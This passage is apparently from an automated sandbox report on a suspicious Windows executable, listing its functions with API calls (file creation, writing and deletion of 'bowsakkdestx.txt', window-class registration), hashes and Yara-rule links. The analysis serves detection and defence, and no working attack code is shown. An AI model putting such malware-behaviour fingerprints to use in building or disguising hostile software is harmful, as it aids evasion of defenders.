                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 241cfa4299846a07ecc57268e606ba0db0d865f968b84549374c8695ce3f7968
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 74F0F97560022D66CB00AF99EC56EDE7BECDF04315F40456FFC04A2282DBBCAA4486DD
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0041BA10 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24registryCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
                                                                                                                                                                                                                                                                • RegisterClassExW.USER32(00000030), ref: 0041BA73
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: ClassCursorLoadRegister
                                                                                                                                                                                                                                                                • String ID: 0$LPCWSTRszWindowClass
                                                                                                                                                                                                                                                                • API String ID: 1693014935-1496217519
                                                                                                                                                                                                                                                                • Opcode ID: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
                                                                                                                                                                                                                                                                • Instruction ID: 39b267f2af3e8e8601893d5e13e9f0aceec8bb1d15aa8544f670d774de374bdc
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 64F0AFB0C042089BEB00DF90D9597DEBBB8BB08308F108259D8187A280D7BA1608CFD9
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0040C420 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22fileCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C438
                                                                                                                                                                                                                                                                • PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C44E
                                                                                                                                                                                                                                                                • DeleteFileA.KERNEL32(?), ref: 0040C45B
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Path$AppendDeleteFileFolder
                                                                                                                                                                                                                                                                • String ID: bowsakkdestx.txt
                                                                                                                                                                                                                                                                • API String ID: 610490371-2616962270
                                                                                                                                                                                                                                                                • Opcode ID: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
                                                                                                                                                                                                                                                                • Instruction ID: 22f96f022367e4ecd8cb06d74e3ea6c1a096c1ee21cc35b9366b07434c4c4e8f
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 60E0807564031C67DB109B60DCC9FD5776C9B04B01F0000B2FF48D10D1D6B495444E55
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00419E70 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: _memset
                                                                                                                                                                                                                                                                • String ID: p2Q
                                                                                                                                                                                                                                                                • API String ID: 2102423945-1521255505
                                                                                                                                                                                                                                                                • Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
                                                                                                                                                                                                                                                                • Instruction ID: 738f0ca8778653557991c93ab9a04937910ac7dae49cf0696bf478295a84fdc8
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: C5F03028684750A5F7107750BC667953EC1A735B08F404048E1142A3E2D7FD338C63DD
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0040ECB0 Relevance: 6.2, APIs: 4, Instructions: 204COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: _memmove_strtok
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 3446180046-0
                                                                                                                                                                                                                                                                • Opcode ID: 205b1ec61ce906ac0e6ef9ac2fb6feb778f8951e500b67679f42a44b4349684c
                                                                                                                                                                                                                                                                • Instruction ID: d0e58e2a66e8e3875a5229d26ee444e1e0210206766639419d48370c530ec9d7
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 205b1ec61ce906ac0e6ef9ac2fb6feb778f8951e500b67679f42a44b4349684c
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 7F81B07160020AEFDB14DF59D98079ABBF1FF14304F54492EE40567381D3BAAAA4CB96
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00422130 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: _memset$__filbuf__getptd_noexit__read_nolock
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 2974526305-0
                                                                                                                                                                                                                                                                • Opcode ID: 2663944f2ecd2356e6bc0f9128c733698aaf16daf3cf10d514d26d316ebfdedf
                                                                                                                                                                                                                                                                • Instruction ID: 8e6e0b0b404069c1ace538d88af1fa9e5aae20a8402e44ab6f3f0d96efeb0f41
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 2663944f2ecd2356e6bc0f9128c733698aaf16daf3cf10d514d26d316ebfdedf
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 9A51D830B00225FBCB148E69AA40A7F77B1AF11320F94436FF825963D0D7B99D61CB69
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0043C677 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0043C6AD
                                                                                                                                                                                                                                                                • __isleadbyte_l.LIBCMT ref: 0043C6DB
                                                                                                                                                                                                                                                                • MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0043C709
                                                                                                                                                                                                                                                                • MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0043C73F
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 3058430110-0
                                                                                                                                                                                                                                                                • Opcode ID: 5d9d0dd00b9c666e2ffb8edf641007e90d7f333e82c154efbd4b40f2329fca1d
                                                                                                                                                                                                                                                                • Instruction ID: 9bb69ce0c337472f3e835d3bfc0adb25a23875f1fe15b1d3b69bac0ae3c4b713
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 5d9d0dd00b9c666e2ffb8edf641007e90d7f333e82c154efbd4b40f2329fca1d
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 4E31F530600206EFDB218F75CC85BBB7BA5FF49310F15542AE865A72A0D735E851DF98
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0040F0E0 Relevance: 6.1, APIs: 4, Instructions: 86filestringCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • CreateFileW.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 0040F125
                                                                                                                                                                                                                                                                • lstrlenA.KERNEL32(?,?,00000000), ref: 0040F198
                                                                                                                                                                                                                                                                • WriteFile.KERNEL32(00000000,?,00000000), ref: 0040F1A1
                                                                                                                                                                                                                                                                • CloseHandle.KERNEL32(00000000), ref: 0040F1A8
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: File$CloseCreateHandleWritelstrlen
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 1421093161-0
                                                                                                                                                                                                                                                                • Opcode ID: d7c53c20fb31498ecb2e6d2948be234b538ea12271a6e43a57747494780a16e1
                                                                                                                                                                                                                                                                • Instruction ID: 4e0a1a2928686de7afe91093b481d52cb6f90b47dd46c4e49af8be4df8d63ea4
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: d7c53c20fb31498ecb2e6d2948be234b538ea12271a6e43a57747494780a16e1
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: DF31F531A00104EBDB14AF68DC4ABEE7B78EB05704F50813EF9056B6C0D7796A89CBA5
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004C7094 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • ___BuildCatchObject.LIBCMT ref: 004C70AB
                                                                                                                                                                                                                                                                  • Part of subcall function 004C77A0: ___BuildCatchObjectHelper.LIBCMT ref: 004C77D2
                                                                                                                                                                                                                                                                  • Part of subcall function 004C77A0: ___AdjustPointer.LIBCMT ref: 004C77E9
                                                                                                                                                                                                                                                                • _UnwindNestedFrames.LIBCMT ref: 004C70C2
                                                                                                                                                                                                                                                                • ___FrameUnwindToState.LIBCMT ref: 004C70D4
                                                                                                                                                                                                                                                                • CallCatchBlock.LIBCMT ref: 004C70F8
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 2901542994-0
                                                                                                                                                                                                                                                                • Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
                                                                                                                                                                                                                                                                • Instruction ID: e860502f941f6c9850043d2e9c4655f99114053cf07e0eb82383b029c5c3ae24
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 2C011736000108BBCF526F56CC01FDA3FAAEF48718F15801EF91866121D33AE9A1DFA5
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004253B3 Relevance: 6.0, APIs: 4, Instructions: 48COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                  • Part of subcall function 00425007: __getptd_noexit.LIBCMT ref: 00425008
                                                                                                                                                                                                                                                                  • Part of subcall function 00425007: __amsg_exit.LIBCMT ref: 00425015
                                                                                                                                                                                                                                                                • __calloc_crt.LIBCMT ref: 00425A01
                                                                                                                                                                                                                                                                  • Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5
                                                                                                                                                                                                                                                                • __lock.LIBCMT ref: 00425A37
                                                                                                                                                                                                                                                                • ___addlocaleref.LIBCMT ref: 00425A43
                                                                                                                                                                                                                                                                • __lock.LIBCMT ref: 00425A57
                                                                                                                                                                                                                                                                  • Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: __getptd_noexit__lock$___addlocaleref__amsg_exit__calloc_crt__calloc_impl
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 2580527540-0
                                                                                                                                                                                                                                                                • Opcode ID: 3969c2aeef3154995e76024b80c076f82dc7aa98e25c938a71a0b2bc9f16ca02
                                                                                                                                                                                                                                                                • Instruction ID: 8e8bf19fb99f986105457608807abe9f1de148b308aa0ea96eb71ffb67844566
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 3969c2aeef3154995e76024b80c076f82dc7aa98e25c938a71a0b2bc9f16ca02
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: A3018471742720DBD720FFAAA443B1D77A09F40728F90424FF455972C6CE7C49418A6D
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004409B9 Relevance: 6.0, APIs: 4, Instructions: 48COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: __cftoe_l__cftof_l__cftog_l__fltout2
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 3016257755-0
                                                                                                                                                                                                                                                                • Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
                                                                                                                                                                                                                                                                • Instruction ID: 47779ad8523d68e9f2e2bd7ddfa488ab055a33a4313e19cc57a45add4f9be60e
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: B6014E7240014EBBDF125E85CC428EE3F62BB29354F58841AFE1968131C63AC9B2AB85
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004127A0 Relevance: 6.0, APIs: 4, Instructions: 39stringCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • lstrlenW.KERNEL32 ref: 004127B9
                                                                                                                                                                                                                                                                • _malloc.LIBCMT ref: 004127C3
                                                                                                                                                                                                                                                                  • Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
                                                                                                                                                                                                                                                                  • Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
                                                                                                                                                                                                                                                                  • Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(007F0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5
                                                                                                                                                                                                                                                                • _memset.LIBCMT ref: 004127CE
                                                                                                                                                                                                                                                                • WideCharToMultiByte.KERNEL32(?,00000000,?,000000FF,00000000,00000001,00000000,00000000), ref: 004127E4
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 2824100046-0
                                                                                                                                                                                                                                                                • Opcode ID: d807541a0d1b126bc38ced4668b3b61b472b47aa0d79cc9e7bfc34870b6aacc2
                                                                                                                                                                                                                                                                • Instruction ID: 750470dcacb0e1f47d667e481962336cdcd22eeec5e51d764cc358051e51787a
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: d807541a0d1b126bc38ced4668b3b61b472b47aa0d79cc9e7bfc34870b6aacc2
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: C6F02735701214BBE72066669C8AFBB769DEB86764F100139F608E32C2E9512D0152F9
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00412800 Relevance: 6.0, APIs: 4, Instructions: 28stringCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • lstrlenA.KERNEL32 ref: 00412806
                                                                                                                                                                                                                                                                • _malloc.LIBCMT ref: 00412814
                                                                                                                                                                                                                                                                  • Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
                                                                                                                                                                                                                                                                  • Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
                                                                                                                                                                                                                                                                  • Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(007F0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5
                                                                                                                                                                                                                                                                • _memset.LIBCMT ref: 0041281F
                                                                                                                                                                                                                                                                • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000), ref: 00412832
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 2824100046-0
                                                                                                                                                                                                                                                                • Opcode ID: 5d53f8f732e4342f1a2ab947ea56d6b713f7325b43ea2b5621e341dec89f9ad8
                                                                                                                                                                                                                                                                • Instruction ID: a3b2a97d17252553cb1267f0baabe0c67c158e4fedc78561389223423b5350a8
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 5d53f8f732e4342f1a2ab947ea56d6b713f7325b43ea2b5621e341dec89f9ad8
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 74E086767011347BE510235B7C8EFAB665CCBC27A5F50012AF615D22D38E941C0185B4
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00414920 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 319COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: _memmove
                                                                                                                                                                                                                                                                • String ID: invalid string position$string too long
                                                                                                                                                                                                                                                                • API String ID: 4104443479-4289949731
                                                                                                                                                                                                                                                                • Opcode ID: 6b6c026794a5df2e3fdb14e42bcdc4c864f1c14e00cdd800f0752a2c1f007913
                                                                                                                                                                                                                                                                • Instruction ID: e15d95b7bc4e28eadeb147f52893af2b9f74cdff9e85ed34d7497a2036010d09
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 6b6c026794a5df2e3fdb14e42bcdc4c864f1c14e00cdd800f0752a2c1f007913
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 86C15C70704209DBCB24CF58D9C09EAB3B6FFC5304720452EE8468B655DB35ED96CBA9
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00470040 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: _memset
                                                                                                                                                                                                                                                                • String ID: .\crypto\asn1\tasn_new.c
                                                                                                                                                                                                                                                                • API String ID: 2102423945-2878120539
                                                                                                                                                                                                                                                                • Opcode ID: 71e1991ce2e3632dc73bc3e3216da1e10f6e2bb0c3d1e289869c94216a61690f
                                                                                                                                                                                                                                                                • Instruction ID: a01d7b69f66ede694d5e1501cc12839462a5262961aeb872149f1145b0afa5c3
